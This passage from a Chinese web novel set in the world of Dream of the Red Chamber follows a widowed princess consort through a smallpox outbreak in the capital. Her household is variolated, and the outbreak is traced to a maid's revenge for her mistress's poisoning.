白白和花花就在他脚下一脸无辜地看着别人,弄得人不知道该说什么好。 面对一个不爱吃蔬菜的小朋友,顾晓祭出了各种蔬菜丸子,蔬菜饭团,乃至馄饨水饺,水煮的不喜欢吃,可以刷一点油煎一煎,看着好看又好吃。不过,末儿L已经习惯了自己吃的时候,分一些给白白和花花,也亏得他的吃食本来就没加什么盐,要不然,两条狗都要大把掉毛了。 小狗的衣服可比人的衣服好做多了,做成斗篷的样式,留几条系带,脖子上系一条,肚子上系一条就行,因此,顾晓又开始折腾起了小狗的玩具。 原本院子里有个秋千架,不过顾晓自个没怎么用过,倒是徒嘉钰小时候玩过一阵子,顾晓便叫人编了篮子,挂在秋千架下,将小狗放在篮子里,一推就能荡悠起来。 结果不仅小狗喜欢,小孩也喜欢,原本做了两个,白白和花花一狗一个,结果如今直接被末儿L霸 占了一个,白白和花花只能挤在一起玩。顾晓只觉得好笑,只得叫下头工匠又专门给末儿L做了个吊篮,然后他一看就喜欢上了,每天都要躺在吊篮里晒太阳。 不患寡而患不均,原本只是给小狗做,徒嘉钰还没什么感觉,结果如今给末儿L做了个吊篮秋千,他就有些不乐意了。他小时候的秋千可没这样的花样,就一块板子,虽说那时候玩得也挺开心,但是跟末儿L的比起来就差远了,顿时就跟顾晓闹腾起来。 ?本作者微云烟波提醒您《红楼太妃要躺平》第一时间在.?更新最新章节,记住[( 顾晓也是哭笑不得,谁能想得到,徒嘉钰都这么大了,还跟那么小的弟弟吃醋呢?不过还是立马许诺,马上就在前头他院子里给他搭建一个秋千,要比末儿L还大的。 有了这个教训,顾晓接下来折腾的时候,就直接做好了准备,只要末儿L有的,徒嘉钰那边也得有,总得一碗水端平不是。 顾晓没法将院子改造成游乐场,只是叫工匠做了个室外的滑梯,滑梯做得很大,上头下头都跟小房子一样,里面还铺上了地毯,放上了许多软枕垫子和各种布偶,这下即便外面刮西北风,末儿L都喜欢带着狗狗躲在里头。 徒嘉钰那边的滑梯做得就更大了,简直就跟一座阁楼一样,因此花费的时间也很长,为此还不得不给滑梯挖了个地基,免得滑梯一个不注意,直接倒掉。 滑梯这样的玩具不光小孩子喜欢玩,其实大孩子乃至大人也喜欢,那些负责清理滑梯的小丫头们,就很喜欢趁着清理的功夫,上上下下滑几次,甚至还有半夜偷偷玩的。 而徒嘉泽见到之后,也闹着要了一个,西院顿时跟着热闹了起来。李氏还有些矜持,何氏和米氏就经常借口带着徒嘉泽玩,也跟着蹭一蹭,甚至还在滑梯下面的小屋里摆了矮榻和小案,可以坐在矮榻上喝茶吃点心。 既然要一碗水端平,风荷院里便也多了一个,不过却是做成了蘑菇城堡的样子,佳婉和佳姝就喜欢躲在里面玩过家家。 时间一下子就进了十一月,天气愈发寒冷起来,连着下了几场大雪,滑梯自然是没法玩了。徒嘉钰和贾瑚照旧在前头念书,而几个小的却已经凑到了一起。末儿L虽说年纪最小,本来像是徒嘉泽是不乐意带着他玩的,但谁让还有白白和花花两条小狗呢,它们被训得聪明伶俐,会打滚作揖,还能钻套圈,有着这两条小狗,末儿L顿时成了孩子堆里最靓的仔,每日里都神气活现。 顾晓正想着跟去年一样老老实实在屋里猫冬,一个噩耗却传了进来。 京中出现了天花! 此时其实已经开始靠种痘预防天花,不过实际上真正种痘的人并不会很多,毕竟,这年头用的还是人痘,人痘还是有一定的死亡率和病重率的,身体虚弱一点的根本熬不过来。富贵人家会专门有医生守着,种痘之后再辅以汤药,就能将风险降到最小。也正因为如此,不可能像是后世,让孩子出生就接种牛痘,都得等孩子大一些再说。 像是王府里头,原身年幼的时候就中过痘,徒嘉钰也种过,但是其他人,那可就不好说了。 好在王府一 直守孝,到了冬天,连庄子上送肉送菜的频率都少了,几乎跟外界没什么接触,相对来说,风险要低一些。 “天花最开始是从哪儿L出来的?”顾晓紧张地差点要咬指甲,若是内城就有,那就太不保险了。 春香同样很紧张,她是没种过痘的,这种疫症,成年人并不比小孩子抵抗力强多少,很多时候甚至死亡率比小孩还高一些。 她咬牙说道:“我也不知道,但是听说原本宁王府那位嗣郡王已经染上了,他们府里已经抬出去了好几个人!” 吴嬷嬷在一边差点急得团团转:“娘娘,咱们怎么办?现在就封府避痘吗?我去请一尊痘疹娘娘供上!” 顾晓却是露出了坚定的神情,说道:“先叫人去庄子上拉几口杀好的猪和羊回来,若是有萝卜白菜韭黄什么的,也拉几车回来,先存菜窖里头,看看外院谁是种了痘或者是出过天花的,叫人立刻拿了王府的牌子去太医院,咱们府里尽量都种痘!” 吴嬷嬷皱眉说道:“府里上上下下没种过痘的大几十,哪有那许多痘苗呢?” “先去问问吧,能种多少种多少,现在不种,等到事情过去了,也是得补上的,要不然,再来一次,谁受得了!”顾晓坚持说道,“这次先紧着府里的主子还有贴身伺候的人种,下面粗使的先用已经出过花的,再挑出个院子来,叫其他人这段时间先避一避,没事不要跟外人接触了!” 吴嬷嬷唉声叹气地答应了下来,又忍不住说道:“这都多少年没听说京里有痘症了,怎么又冒出来了!” 顾晓也是无奈,她上辈子天花这玩意早就变成传说了,谁能想得到穿越之后还能遇上这档子事呢!早知道如此,她一来就应该去寻牛痘的。如今再去寻,也是晚了,还不如相信这个年代的痘苗呢,起码能给达官贵族种的痘苗,都是熟苗,风险要低得多。 天花这玩意有潜伏期,而且传播方式也比较多,只要有过密切接触,就有可能携带病毒,就算你出过花没有再感染,也有可能经过你传染给其他人。 既然已经死了人,可见传播过一段时间了,只怕这个时候,京中已经人人自危。 别说是京中了,这会儿L便是皇宫里也已经人心惶惶。 宫里不是什么人都种过痘的,实际上京中十年八年都不见得有一次痘疹流行,因此,大家对此也不怎么上心,除了少数人会选择种痘之外,其他人一般采取的都是隔离手段,一方面隔离已知的天花病人和密切接触者,另一方面隔离健康的人,让他们不用再与外界接触。 尤其是高门大院里头,地方本来就很大,自家都能搞出几个隔离点,所以,只要做好预防,几乎不会得病。在这样的情况下,谁会没事给自己找不痛快,非要种痘呢? 徒嘉钰之前种痘,也是因为那段时间京中流行水痘,被误以为是天花,原身这才坚持给他种了痘,如今看起来果然是有先见之明。 那次原本原身想要干脆给府里几个孩子都种痘的,但是,一方面另外几个都还小,徒 嘉泽那会儿L更是个小病秧子,谁敢冒这个风险?_[(,李氏都恨不得扯着嗓子跟徒宏远说原身要害她的孩子,想要趁着种痘将徒嘉泽给解决了。徒宏远又是个耳根子软的,还存了几分侥幸心理,最终便都没有种。 平王府因为守孝的缘故,得到消息也晚了一些,但是要求种痘的人里头,平王府却算是比较早的,毕竟,人都有侥幸心理,不种痘的话,只要不与外头有什么接触,应该不会染上天花,但若是种痘,一个不好,可就没了。所以,大家宁可做缩头乌龟,也不想冒什么风险。 宫里就是如此,圣上是种过痘的,倒是没什么想法,但是宫里好些个皇子皇女却都没种过,像是甄贵妃,也不曾种过,这会儿L圣上力主要让几个皇子皇女都种痘,其他位份比较低的妃嫔是无可奈何,但是甄贵妃却是各种不舍,但是她又明白,自己根本拗不过圣上,只得眼泪涟涟地答应下来,但是她自己,却不想种。 甄贵妃生得雪肤花貌,这年头种痘又不是如同后世一样,在胳膊上接种,而是通过鼻子,一般都是要先出花的,甄贵妃担心自己脸上留下麻子,回头失宠,自然不肯种痘,哪怕其他人说得再好听,她也不愿意相信,只叫人先将自个所在的含章宫先封闭了起来,用以避痘。 圣上会考虑甄贵妃的想法,却不会考虑其他人的想法,不管是主子还是奴婢,只要没种过痘的,都叫迁到西苑去种痘,至于是死是活,全看他们的造化。好在宫里种过痘出过花的宫人也不少,要不然皇城都要没法运转了。 太医院预备的痘苗其实不少,现在还在不断制备,但是熟苗的数量很有限,满足了宫里之后,能够放到外头用的,那就更少了,也亏得平王府来得早,饶是如此,也只能保证给府里的几个小的种上熟苗,其他人就只能用旱苗,这风险可就大多了。 平王府这会儿L还在排查府里的人,然后就发现,贾瑚和跟他一起过来的周嬷嬷居然也没种过痘,顿时就有些抓瞎。这种事情,小孩子是没法做主的,便是顾晓,也不好承担给别人孩子种痘的责任。 哪知道,这边才收拾了贾瑚的东西,荣国府那边就派人过来了。 来的是张氏的心腹,她看到顾晓的时候神情也有些尴尬,因为张氏带过来的话,委实叫她有点说不出口,只得将张氏的亲笔信先递给了顾晓。 顾晓看完信,很想骂一声麻麻批,荣国府那边,除了张氏想要给贾瑚种痘之外,其他人都不想,贾珠之前才病过一场,元春年纪也不大,至于贾琏,更是个早产儿L,也就是说,如果只给贾瑚种痘的话,势必要大动干戈,而且荣国府影响力如今大不如前,只怕也很难在太医院弄到熟苗。张氏本来说是要将贾瑚接回去,大家要么都不种算了,但是王氏却表示,宗室那边已经有天花了,谁知道平王府有没有,要是贾瑚回来,将天花带到荣国府怎么办? 所以,接回来可以,只能叫贾瑚带几个下人住在外头,不许进荣国府。王氏这么一说,张氏还能如何,她要是只有贾瑚一个孩子,那肯定狠下心,直接带着贾瑚搬 出去住了,可如今,她还有个贾琏,根本无法脱身,思来想去,只能厚着脸皮求顾晓。若是顾晓愿意,就让贾瑚直接在平王府种痘,不管结果如何,她都认了。 信纸上有被沾湿的痕迹,想来张氏写信的时候还哭过,顾晓本心真不想担这个责任,只是张氏话都说到这个份上,她再推脱,就显得有些不近人情。只是张氏这般,也叫顾晓心里不是个滋味。 或许对于古人来说,托妻献子是雅事,张氏肯将此事交给顾晓,也是对顾晓的信任,可是对习惯了后世人与人之间明确界限感的顾晓来说,这就是个烫手山芋,真要是贾瑚种痘出了什么事,她这辈子都过不了这个坎。 心中这样想着,顾晓对张氏也起了点敬而远之的心思,以后还是不用太亲近了。 贾瑚看着顾晓神色变幻不定,也有些紧张,捏着小拳头看着顾晓,又看向一边荣国府来人,忍不住问道:“娘娘,母亲是要接我回去吗?” 那下人一时间不知道该怎么说才好,顾晓只得安慰道:“你母亲说你们府里有些不方便之处,所以叫你先留在王府,跟王府这边一块种痘!这是你母亲拍过来照顾你的,你也不用担心!” 贾瑚顿时有一种被抛弃的感觉,眼泪都要上来了,只是还是强行忍住,蔫哒哒地说道:“我知道了!” 顾晓也不知道该如何安慰,只得又叹了口气,好在太医院的人已经过来了,总共两个痘疹大夫,还有几个药童,又带了许多痘苗过来。 随着他们的到来,平王府直接封闭了起来。! 微云烟波向你推荐他的其他作品: 希望你也喜欢 第 66 章 之前顾晓已经四处说了,王府几个孩子这次都一块种痘,李氏当时没吭声,结果瞧着王府正式封起来了,李氏就不安起来。 她很想要去找顾晓,说徒嘉泽不种痘了,但是,再一想,要是别人都种了,徒嘉泽不种,回头天花来了,徒嘉泽该怎么办?这会儿,也只能在西院里不停地转圈,内心纠结不已。 她这一犹豫,太医就已经过来了。 徒嘉泽在太医院还是有点名声的,主要是何太医靠着给徒嘉泽调理,竟是混了个儿科圣手的名头,如今宫里还有京中权贵人家,若是有小儿生病,都喜欢找何太医。 何太医也在太医院炫耀过,如今徒嘉泽的身体几乎与其他小儿没什么区别,这会儿太医给徒嘉泽诊断一番,便忍不住点了点头,露出了笑意,对一边忧心忡忡的李氏说道:“侧太妃娘娘尽管放心,二公子脉象强健,种痘无碍的!” 李氏勉强挤出了一个笑意,说道:“那就劳烦太医多费费心!” 徒嘉泽对于种痘也没什么想法,这会儿正有些失望:“母妃,我不能跟弟弟他们一起种痘吗?” 太医笑道:“二公子放心,等痘发出来之后,二公子就能跟小公子一起玩了!二公子今天好好休息,明天臣就来给二公子种痘!” 太医又去风荷院走了一圈,见佳婉和佳姝身体同样不错,心中都忍不住要赞一声顾晓这个太妃,他们这些太医,虽说口风都紧,但是去过的人家,家里妻妾是否和睦,主母是否宽和,其实都是能看出来的。像是平王府,以前听说正室侧室关系紧张,如今看起来,却并无这般迹象,庶出的孩子,无论男女,性情都没有那等小家子气,可见不曾受过什么委屈。这自然是当家主母的功劳,如今府里没个男主人,当家主母但凡有半点坏心眼,这些孩子都不会是这个样子。 末儿还是个懵懂的孩子,根本不知道自己即将面临什么,依旧傻吃傻玩,吃过丰盛的晚餐,又跟白白和花花玩了一阵子,便睡下了。 徒嘉钰却有些紧张,攥着顾晓的手,压低了声音说道:“妈妈,末儿种痘不会有事吧!” 顾晓安慰道:“不会的,你之前也种过的,如今不是好好的。而且末儿一直很健康,咱们府里也做足了准备!” 徒嘉钰也有些失落:“瑚哥儿要种痘,家里弟弟妹妹们都要种痘,就我不用!” 顾晓对他这个时候冒出来的莫名的好胜心给弄得哭笑不得,只得说道:“你当种痘是什么好事吗?你种痘那会儿,好几天痘才发出来,可把我给吓死了!如今就好了,你不用担心再染上天花,也能给妈妈搭把手!” 徒嘉钰这才不再失落,精神振奋了起来。 顾晓揉了揉他的头发,调笑道:“你以后就是家里的当家人了,许多事情,都得你扛起来呢!” 徒嘉钰小胸脯一下子挺得更高了。 第二天,平王府就开始大规模种痘,几个孩子种的都是熟苗,贾瑚跟末儿都在正院,其他几个孩子还 留在生母身边,下人们却没这样的好运气,他们种的都是旱苗,这风险要大不少,为此,太医直接熬了一大缸的药,看谁不舒服,就直接灌下去。这些药药性猛烈,取的就是以毒攻毒,他们给染上天花的人吃的就是类似的药,那样也能保证百分之五十以上的治愈率,如今是种痘,治愈率一般能有百分之八十以上。这,连之前做的水果罐头都拿出来了,因此,即便是下人,出花也很顺利,没有一个扛不住的。 倒是几个孩子,末儿一直身体好,第二天就开始出花,徒嘉泽却是发了快三天热,太医都快想要重新种痘了,疹子才算是发出来,只将一直在药师佛那里祈福的李氏喜得又给药师佛磕了好几个。贾瑚和佳婉佳姝出花也还算顺利,一连串的好消息下来,整个王府都喜气洋洋。 隔壁雍王府也选择了种痘,不过他们运气却没这么好,府里三姑娘一直没能出花,最终也没扛得过去,只将周侧妃哭得泪人一般。 各家府上各有悲欢,宫里圣上却在勃然大怒。 这京中多少年不曾有过天花,突然冒出来,圣上心中便起了疑心,命人追查,最终查出来,一开始感染天花的不过是外城一个人家,他们家之所以染上,也是因为出城看了一趟亲戚,其实就是贪便宜,不想在粮店买粮,去乡下亲戚那里买,结果回来没几天就出花了。 按理来说,住在那个地方的人,几乎没可能跟内城有所接触,偏生就有人听说了这个消息,想办法取了这家人穿过的衣服,然后带进了内城。 最开始倒霉的就是嗣郡王府,就是先宁王的庶子。宁王太妃死后,他们家就被迫搬到了别处,为了节省开支,发卖了大多数下人,便是原本粗使的也觉得月钱太高,给发卖掉了,改从外头采买了一些婆子作为粗使,比起以前,光是月钱就能省下大半来。结果事情就是坏在这事上头了。 这次将痘衣带到嗣郡王府的就是一个负责浆洗衣服的婆子,她浆洗好衣服之后,将沾了痘浆的痘衣悄悄缝在了嗣郡王的袄子里头,这中间过了好几次手,所以,嗣郡王虽说年纪小,却不是第一个发病的,所以,一开始也没人怀疑到他头上,后来嗣郡王出了花,府里头又将他用过的衣服被褥一起烧了,这下就是死无对证。 只是,圣上派出的锦衣卫发现了那个洗衣婆子的身份,竟是先宁王太妃院里的一个嬷嬷。原本先宁王太妃死后,伺候她的人都遣散了,像是贴身的心腹,更是直接被不知道发卖到了哪里。这个嬷嬷却因为之前病过一场,先宁王太妃怜惜她年纪大了,又无儿无女的,便赏了她不少财物,放了她的身契,怕她在外面没法过活,让她以良人的身份依旧留在府里。那侧太妃再如何,也没胆子随便卖一个良人,因此只是将她给逐出了王府。她这样有着不少余财,还在宫中和王府里伺候过的老嬷嬷,不管是收个养子养老,还是找个类似于教养嬷嬷的差事,其实都并不算难,哪里会去做什么浆洗婆子。 锦衣卫发现了不对劲之后,便直接将人给抓了。这位大仇得报,又想着得叫别人知道自家娘娘的冤屈, 因此被抓住之后,还如释重负,锦衣卫一问,就把事情一五一十给说了。 她直接招供,说自己就是为了给先宁王太妃报仇,先宁王太妃是被侧太妃害死的,所以人才一死,那贱人就忙不迭将先宁王太妃身边的人都给打发了。她走之前留了个心眼,偷偷将先宁王太妃最后吃的几服药药渣都给收了起来。 ?微云烟波的作品《红楼太妃要躺平》最新章节由??全网首发更新,域名[( 她怕留在京城被侧太妃的人灭口,便揣着这些药渣辗转去了通州,花了大价钱找了个名医查看那些药渣,然后才知道,药渣里面有一味药是乌头,而且还是生乌头,这是有毒的。 这嬷嬷也是在宫里伺候过的,太医开药,很少会开什么带毒的东西,毕竟,他们素来是不求有功但求无过,真要是喝出了问题,这些太医是要将一大家子都搭进去的。因此,哪怕她没有看到太妃的药方,也能猜出来,这乌头是后来加进去的。 乌头中毒,跟砒霜中毒相比,就更加隐蔽,只会叫人呼吸困难,神志不清,中毒严重的就是像宁王太妃一样,神志不清,最终心力衰竭而死。她那时候本身又病了好几天,太医也不想担这个责任,自然不会多事,这才叫宁王太妃就这么没了! 知道自家主子死于中毒之后,这嬷嬷就起了复仇的心思。她并非先宁王太妃娘家的家生子,其实算得上是内务府出身,不过她没个靠谱的亲戚,自个也没成过婚,在内务府也不起眼。后来被分到了宁王府上,先宁王太妃瞧她年纪大了,觉得她可怜,便将她要到了正院,对她一直颇为亲厚,后来还说给她过继个养子,哪怕这事没成,这嬷嬷也对先宁王太妃忠心耿耿。 她既然起了复仇之念,便开始等待时机,发现嗣郡王府采买下人,就装出一副落魄模样,她不要卖身钱,就要一个存身之地,负责采买的管事之前也不曾见过她,既然能从她身上捞到一笔好处,便将她买了下来。 只是她一个粗使的,哪里见得到侧太妃和嗣郡王,只得耐心等待时机。她虽说是府里粗使的,每个月也有两天假,她便借口出去采买一些东西,然后就在外城转悠,寻找机会,在她发现有人感染了天花之后,就起了心思。 圣上看着口供和药渣,只气得七窍生烟,将京城闹得人心惶惶的大疫,竟是因为一个老嬷嬷的报复。而事情的起因,竟是一个小妾谋害了主母!圣上想着,顿时就想将那位侧太妃给碎尸万段。 在这之前,他还是叫太医院将先宁王太妃的脉案和药方都送了过来,检验了一番之后,发现方子上果然没有乌头,又叫了当日诊脉的太医。那太医也不知道究竟,一听如今居然在查之前先宁王太妃之死,顿时就有些发慌。不过还是老老实实按照自己的记忆将事情说了。 先宁王太妃的症状一开始就是普通的风寒,不过是略耽误久了,以致气血阴亏,咳嗽痰血,夜不能寐。因此,太医就给开了桂枝汤,这药乃是多少年的验方了,辛温解表,又补气益血,安神镇痛,肯定是对症的。 但是他之后再去看的时候,就发现吃了药之后,先宁王太妃不仅没有好转,症状还严重了起来,且有 胸闷气短,恶心呕吐的症状。这太医也没想到乌头中毒上去,毕竟,他自个开的方子,还能不知道方子里有什么药?自然也没想到有人在药里做文章。因此,只是又给开了麻黄汤、华盖散,这也同样是治疗伤寒的正常操作,就算是不好,也不会变坏,偏生先宁王太妃还是就这么没了。 太医院这边对于这等事情,自然也有些猜测,虽说没想过下毒,但是也疑心是王府那边根本没有好好给先宁王太妃用药,等后来人死了,太医院看先宁王太妃的遗容,也只觉指尖嘴唇略有青紫,但这也是难免的事情,到了最后,先宁王太妃都已经呼吸困难,气都喘不过来了,出现淤血也是正常的事情。大家多一事不如少一事,真要是捅出什么阴私来,回头太医院也要落个不是。 太医说到这里,只觉汗出如浆,就听圣上问道:“按理,你们太医院开出来得方子,都得留下药渣以备查询,那药渣在哪里?” 太医也是委屈,他们的确保留了药渣,但是谁能肯定,那药渣煎过的药就是给先宁王太妃喝过的呢?他诊脉的时候之所以怀疑先宁王太妃根本没吃药,也是因为他诊脉的时候根本没发现有半点改善。 “那就看看这几副药渣是个什么情况!”圣上直接示意将锦衣卫呈上来的药渣送到太医面前。 那药渣虽说是晒干的,但也已经有了一些霉味,太医还是强忍着难受,先是翻看了一遍,又尝了尝,然后脸色便有些灰败:“这方子里主药是柴胡、芍药、枳实和甘草,治伤寒也算对症,偏生里头竟是加了一味草乌,还又有一味芫花,这乃是十八反中的芫花反甘草,消了甘草的解毒之效,这草乌也没有经过炮制,看似只放了一点,但是对于先宁王太妃来说,便与剧毒无异!”说着,连站都站不住了,扑通一声跪了下来,连连叩首告罪。 “既然是个忠仆,那就给她留个全尸吧!”确认了那个嬷嬷的确是为主报仇,圣上压根不理会太医的请罪,只是沉吟了一番,说了对那位嬷嬷的处置,然后又说道,“至于那个府里,直接先封起来,看他们的造化吧!” 圣上又不缺儿孙,一个都没怎么见过的侧太妃和她生的庶孙,在他眼里又算得了什么,至于说儿子绝嗣什么的,那就更别提了,绝嗣的又不是你一个,我不是将你陪葬皇陵了吗?也不怕以后没人祭司。 圣上这个命令一下,下头的人就知道那嗣郡王府里的人就算是熬过了天花,也没有生理,心中暗凛,但是与其将侧太妃谋害主母的事情爆出去,不如让他们死了算了,免得影响皇家的名声。 那嗣郡王府里根本不知道这般变故,侧太妃看着满脸都是痘疹,已经不省人事的儿子,只哭得死去活来。她当初害死宁王太妃的时候何等得意,如今儿子却也要死了,只觉天崩地裂。 一边伺候的人嘴上安慰,心中却是惶惑不安,之前没了太妃,他们就被撵出了宁王府,搬到了这个逼仄的地方,如今嗣郡王再没了,他们之后又何去何从呢? “娘娘,小王爷薨了!”一直守在旁边的一个太医又探了探脉 ,再用一根丝线放到鼻尖,发现丝线分毫不动,便知道人已经没了,当下开口说道。 侧太妃这会儿已经失去了理智:“你才没了,我儿好着呢!”她又哭又笑,伸手抱住床上那个幼小的孩子,不顾他脸上的痘疹,贴着他的脸,疯疯癫癫地说道:“我儿要好了,你们看,他烧都退了!等他睡醒了,他就好起来了!” 一边伺候的人都被吓住了,想要阻拦,但是看着侧太妃疯癫的模样,大家根本不敢上前,只有侧太妃素来信重的钱嬷嬷在一边劝道:“娘娘,小王爷已经去了,就让他好好去吧!你再这般,没得叫他在下面也不安生!” 结果侧太妃立马发作起来:“你个老狗死了,他也不会死!给我滚,你们看着我们娘俩落魄了,一个个都来欺负我们娘俩是吧!都给我滚出去,我自个守着我儿!”说着,将孩子放回床上,给他盖上被子,又掖了掖被角,自己坐在床沿,看着躺在那里无声无息的孩子,一边用手轻拍着被子,一边满脸爱意地哼起了摇篮曲。 等着一曲唱完,她呆呆地看着床上的孩子,忽然崩溃地嚎哭起来。刚刚被撵出去的众人听到哭声,便知道侧太妃其实已经接受了孩子没了的事实,面面相觑了一番,硬着头皮又进了屋,将早就准备好的寿衣拿出来。 这等染了天花的人,便是死了也不能土葬,得送到化人场去。孩子如今也还小,这个年纪算早夭,也不能埋葬在皇陵,甚至连碑都不能立,只能找个地方将骨灰埋了,悄悄记下地方,以后再按时节祭祀,不至于做了孤魂野鬼。 一群下人悄无声息地给孩子穿寿衣,放到之前草草准备好的棺椁里,门外云板叩响了四下,立马就有人进来,想要抬着棺材出去。一直在一旁木木呆呆的侧太妃反应过来,抱着棺材哭得死去活来。 但是这回来抬棺材的可不是内务府的人,而是锦衣卫安排的。在知道这位侧太妃做了什么事之后,只觉都是报应,因此,对侧太妃也丝毫不给情面,直接皮笑肉不笑地说道:“娘娘还请节哀,小郡王这是天花,可不能再停灵,免得再传开来,平添罪孽!” “什么罪孽,我儿哪有什么罪孽!”侧太妃发髻蓬乱,花容惨淡,听到这人似乎意有所指,更是撑不住,连声叫道。 “这举头三尺有神明,有没有罪孽,是什么罪孽,那是老天爷说的,您呐,说了不算!”那个锦衣卫叫人别管侧太妃,直接抬起棺材往外走,又呵斥道,“都还愣着干什么,你们侧太妃娘娘这是犯了癔症,赶紧将人扶回去歇着,别再冲撞了什么!” 说着,带着人扬长而去,只留身后一片哭嚎声。他却丝毫没有动容,如果没有意外,身后这满府的人,都得为了这次天花大疫陪葬。 嗣郡王的死半点也没有掀起什么波澜,这次的天花传播得太快,许多人家心怀侥幸,不肯种痘,到后来便是想要种痘,熟苗也没了,一个个只能傻眼。 连太医院的太医都早就被要种痘的各家给瓜分了,留下的那些还得守着宫里,不能随便出来,外头的大夫能找的也都找了 ,但是这些大夫手上又没有痘苗,现制的那种旱苗风险又很大,因此,虽说不至于家家挂白,户户戴孝,短短大半个月时间,光是内城也死了近千人。这里头其实多半是奴婢,因为主子有病,总能想办法寻医问药,也能得到很好的照顾,可是下人染上了,要不是怕传染,直接就丢出去了,饶是如此,也都是找个地方圈起来,自生自灭。没有医药,甚至连食物饮水都不够,能否活下来全看命够不够硬! 像是荣宁二府,一早就封了府,因为守孝的缘故,也没什么交际,但是荣宁街却是没法封起来的,这些贾家族人还有家生子又不像是两府里头,有水井,又存了许多食物,府门一关,不需要跟外头有什么交流,他们家里能存多少吃食,还得去仅有的几口井那里汲水,这般下来,但凡有一个感染的,其他人就都有风险。 好在两府原本都是行伍出身,还没堕落到后来的地步,行动力也很足,在发现不对劲之后,就找了处宅子,将得病的和有过近距离接触的都关了进去,叫已经出过花种过痘的人给他们送饭送水,但是这些人里头,依旧死掉十多个,还多是各房族人。 张氏听到消息,只暗自庆幸,若是贾瑚回来,说不定也就是在荣宁街上找个地方自生自灭,到时候若是二房再趁机动手,贾瑚就是九死一生的下场。后来又听得贾瑚种痘成功,已经开始在王府继续上学的消息,张氏忍不住去佛堂上了一炷香,暗自祝祷,祈求神佛保佑顾晓这个平王太妃顺心遂意,长乐安宁。 而平王府这边,已经开始庆贺起来。! 第 67 章 平王府这次因为处置及时,主要也是跟外界从来没有过额外的接触,府里头就没什么生人进出,最终一个都没少。倒是之后得将各处的衣裳被褥乃至铺陈都烧掉,许多人颇为不舍,即便顾晓说了从库房里面拿了新料子都重新做,依旧也是如此,毕竟,这些都是积年攒下来的,还多半是好料子,只是事涉天花,除了那等真的要钱不要命的,谁也不敢随便冒这个险。 至于这次没来得及种痘的也都已经想好了,等着来年天暖和一些,就找个合适的地方集中种痘,也能少糟践一些东西,以后再有这样的事情,就不用再担惊受怕。 孩子们也有些心疼不舍他们那些玩具,除了少部分玉质和金银质地的玩具配饰之外,其他的都得一块烧了,连同几个滑梯也没能逃过这一劫,因为他们出花之后,怕他们抓挠,有意转移他们的注意力,就叫他们可以出来玩耍,别的地方怕吹了风,滑梯上下都有小房子,能遮风挡雨,因此,几个孩子在滑梯里耗的时间最长,自然不能保留下来。也亏得用的不是什么好木料,要不然的话,顾晓都得心疼死。 也不仅是平王府这般,京中各家都在焚烧病人和种痘的人接触过的东西,狠一些的连家具都一块烧了,就差没拆房子。顾晓倒不至于如此极端,只是叫人用烧酒还有生石灰之类的东西,给各处都消了几次毒,才算是安下心来。 宫里头李才人之前没有种过痘,这次跟着一块种了,她之前被甄贵妃折腾得挺厉害,自个也不是什么心宽的人,年纪也不小了,今年就有了非常明显的更年期迹象,常常失眠,脾气暴躁,在宫里人缘愈发差了,身体也虚弱了许多。这次种痘,就发得很慢,连续烧了好几天,甚至不得不二次种痘,才算是将痘疹顺利发了出来。她疹子消得也比别人慢,晚上睡觉的时候觉得痒,就忍不住抓挠,以至于脸上留下了明显的痕迹,用脂粉都有些遮掩不住。 瞧见镜中的自己,要不是李才人这里没有玻璃镜,她能将镜子都摔了。以前她还自负有几分美貌,如今一脸麻子还有几处抓挠后留下的伤痕,简直没脸出门。而跟她一起种痘的小妃嫔,虽说也有脸上留下痕迹的,但都不像她这般明显,她只觉自己受到了太医的针对,没给她用好药。 她就是个窝里横的,只能拿身边伺候的宫人出气。以前徒宏远心疼她这个亲妈在宫里日子过得不容易,一年到头,光是孝敬她的钱财东西,折下来都有个好几百两,几乎赶得上给圣上和东宫的孝敬。如今徒宏远没了,平王府虽然还有东西送上来,却都中规中矩,最重要的是,多半是东西,却没多少银钱,这让她手头拮据了许多。她还不能去抱怨儿媳妇不孝顺,毕竟,以前徒宏远那样,才是出格,如今平王府不过是恢复了她应有的待遇。 她如今又没多少钱赏赐下头的宫人,还得拿她们撒气,人家又不是奴性深重,非要给自己找个不好伺候的主子供着,因此,渐渐也愈发敷衍了起来,虽说不能随便换差事,但伺候李才人的几个宫人年纪本来也不小了,再有个一两年就能出 宫,便琢磨着到时候早点将自己名字报上去,免得再继续伺候李才人这种没前途的主子。 李才人丝毫不知道自己已经是众叛亲离,在收到平王府送过来的东西之后,又是气得将手里的一个杯盏给砸了出去,碎片四溅。 她的贴身宫女翠柳提醒道:“才人,你这段时间已经砸了好几个杯子了,再砸下去,内务府就不给补了!” 另一个宫女腊梅也是说道:“虽说之前的报了损,其余的也没被内务府收走,但以后咱们这边总不能连不成套的杯子都没有,回头有个人过来,瞧见了难免要笑话!不如才人先用那几个不成套的,到时候摔了也就摔了!” 李才人更气了,什么时候,她落魄到连成套的茶具都用不了了!若是以前,她能叫人拿钱去补,但是如今可就没这个底气了。平王府送来的年礼里头只有八个荷包,四个里面放的是金锞子,四个里头放的是银锞子,加起来也就是差不多一百两银子。听起来不少,她一个才人,一个月月钱其实也就二十两,一百两银子是她小半年的收入。可是,她前几年大手大脚惯了,如今这么一点,够干什么呢?她还想要找太医开点淡斑祛疤的药呢,谁知道得花多少钱! 她咬着牙发泄了一番,最终却拿远在宫外的顾晓无可奈何,人家别说现在在家守孝不进宫,就算是以后进宫了,只要她不多嘴,也没人会要求顾晓来拜见她这个正经的婆母。一个才人,还想要在正经的亲王妃那里摆什么婆婆范,想什么好事呢!这宫里头,也就是四妃九嫔,才有资格做母妃,其他人,孩子就算是生下来,也是不配养的。至于所谓的生恩,呵呵,你有幸生下皇子皇女,那就是祖坟冒青烟了,还想要让正经的龙子凤孙对你感恩戴德? 顾晓如今已经懒得理会李才人那些破事,反正面子上过得去就行,谁乐意硬给自己头顶上供一尊大佛呢!给各处送了年礼之后,平王府就开始安心准备过年。 因为痘疫尚未完全结束,各家互送年礼多半都是直接拉到门口,将礼单送到门房便罢,至于亲戚之间的走动,那也是能省就省,以至于年节的气氛都差了许多。 平王府对此感触并没有多深,熬过了这一劫,大家都想要除除晦气,因此将更大的热情投入到了准备年货之中。 之前正月里才开始搞冰灯,如今早早就将冰灯在府里各处点缀了起来,路边都摆放着形形色色的雪雕,甚至直接在院子里用冰雪做了新的滑梯还有雪屋,几个孩子顾不得想念原本的那几座滑梯了,穿着大毛衣裳爬上爬下,每日里玩得几乎要飞起,只恨不得冬天永远不要过去才好。 